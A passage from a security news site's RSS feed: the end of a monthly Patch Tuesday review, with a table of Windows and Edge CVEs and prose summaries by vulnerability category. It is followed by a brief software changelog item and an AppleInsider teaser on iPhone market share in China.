  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  






  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v 7.0.1]]></title>
<description><![CDATA[Rich Text Editor.
Telegram Communities.
Invisible Bot Messages.]]></description>
<link>https://tsecurity.de/de/3668637/downloads/v-701/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668637/downloads/v-701/</guid>
<pubDate>Tue, 14 Jul 2026 18:23:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Rich Text Editor.</li>
<li>Telegram Communities.</li>
<li>Invisible Bot Messages.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone grows China market share as price hikes harm Android rivals]]></title>
<description><![CDATA[The iPhone is one of the bright points of China's contracting smartphone market, seeing massive growth thanks to not raising its prices.iPhone sales in China are doing better than the rest of the market, says IDC. The global RAM crisis is a problem for the entire tech industry and is also affecti...]]></description>
<link>https://tsecurity.de/de/3668620/ios-mac-os/iphone-grows-china-market-share-as-price-hikes-harm-android-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668620/ios-mac-os/iphone-grows-china-market-share-as-price-hikes-harm-android-rivals/</guid>
<pubDate>Tue, 14 Jul 2026 18:18:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The iPhone is one of the bright points of China's contracting smartphone market, seeing massive growth thanks to not raising its prices.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68245-143873-64129-133513-64041-133293-62591-129824-62094-128638-iphoneaichina-xl-xl-xl-xl-xl.jpg" alt="Hand holding a modern smartphone displaying app icons and notifications, set against a blurred Chinese flag background with large yellow stars on a pinkish-red field" height="738"><br><span>iPhone sales in China are doing better than the rest of the market, says IDC. </span></div><br>The <a href="https://appleinsider.com/articles/26/07/13/iphone-growth-defies-the-smartphone-markets-worst-second-quarter-in-13-years">global RAM crisis</a> is a problem for the entire tech industry and is also affecting consumer spending. However, while Apple fights the same problem as everyone else, it is one of the few winners in <a href="https://appleinsider.com/articles/26/02/10/cosmic-orange-iphone-17-pro-really-helped-china-sales">China's smartphone market.</a><br><br>In a July 14 <a href="https://www.idc.com/resource-center/blog/china-smartphone-market-decline-q2-2026/">report from IDC</a> into the smartphone market in China for the second quarter of 2026, the industry is in decline. With shipments at 66 million units for the quarter, that's the fifth straight quarter of decline and a drop of 4.3% year-over-year.<br><br><br> <a href="https://appleinsider.com/articles/26/07/14/iphone-grows-china-market-share-as-price-hikes-harm-android-rivals?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244954?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,44ms -->